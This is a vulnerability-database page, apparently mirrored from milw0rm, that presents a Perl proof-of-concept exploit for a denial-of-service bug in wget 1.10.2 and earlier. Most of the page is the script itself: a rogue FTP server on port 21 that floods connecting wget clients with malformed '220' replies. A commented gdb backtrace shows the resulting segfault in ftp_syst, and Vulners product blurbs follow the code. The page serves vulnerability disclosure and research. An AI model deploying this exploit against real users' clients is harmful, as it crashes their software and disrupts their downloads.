Lucene search
K

wget <= 1.10.2 (Unchecked Boundary Condition) Denial of Service Exploit

🗓️ 18 Dec 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

wget <= 1.10.2 Unchecked Boundary Condition Denial of Service Exploi

Code

                                                #!/usr/bin/perl
################################################################################
# wget &lt;= 1.10.2 | Unchecked Boundary Condition
# Federico L. Bossi Bonin
#
# www.globalst.com.ar
# fbossi[at]globalst.com.ar
################################################################################

use strict;
use IO::Socket;


#Resolving localhost... 127.0.0.1
#Connecting to localhost|127.0.0.1|:21... connected.
#Logging in as anonymous ... Logged in!
#==&gt; SYST ...
#Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread -1211496768 (LWP 22824)]
#0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#(gdb) backtrace
#0  0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#1  0x080542c5 in ftp_syst (csock=6, server_type=0xbfe3d854) at ftp-basic.c:1042
#2  0x0804fa6f in getftp (u=0x80800a0, len=0xbfe3d5d8, restval=0, con=0xbfe3d840) at ftp.c:367
#3  0x08051211 in ftp_loop_internal (u=0x80800a0, f=0x0, con=0xbfe3d840) at ftp.c:1197
#4  0x08051877 in ftp_get_listing (u=0x80800a0, con=0xbfe3d840, f=0xbfe3d7a8) at ftp.c:1341
#5  0x08051a83 in ftp_retrieve_glob (u=0x80800a0, con=0xbfe3d840, action=2) at ftp.c:1705
#6  0x08052910 in ftp_loop (u=0x80800a0, dt=0xbfe3d978, proxy=0x0) at ftp.c:1875
#7  0x08066cf8 in retrieve_url (origurl=0x8080070 &quot;ftp://localhost&quot;, file=0xbfe3d970, newloc=0xbfe3d974, refurl=0x0,dt=0xbfe3d978) at retr.c:678
#8  0x08061bdc in main (argc=3, argv=0xbfe3da84) at main.c:943
#(gdb)

my $PORT=21;
$SIG{CHLD} = 'IGNORE';


my $listen = IO::Socket::INET-&gt;new(LocalPort =&gt; $PORT, Listen =&gt; 10,Proto =&gt; 'tcp',Reuse =&gt; 1); 
die &quot;Cant't bind port: $@&quot; unless $listen;

print &quot;wget PoC\nWainting conections\n&quot;;

while (my $connection = $listen-&gt;accept){
my $child;

   while (my $connection = $listen-&gt;accept){
   my $child;
	  die &quot;Can't fork: $!&quot; unless defined ($child = fork());
   		if ($child == 0){
   				$listen-&gt;close;
				while() { 
  				print $connection &quot;220 \n&quot;;
				}
				exit 0;
   		}
   		else {
				print &quot;Connecton recieved ... &quot;,$connection-&gt;peerhost,&quot;\n&quot;;
			        $connection-&gt;close();
		   }
       } #while

} #while

# milw0rm.com [2006-12-18]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2006 00:00Current
7.1High risk
Vulners AI Score7.1
17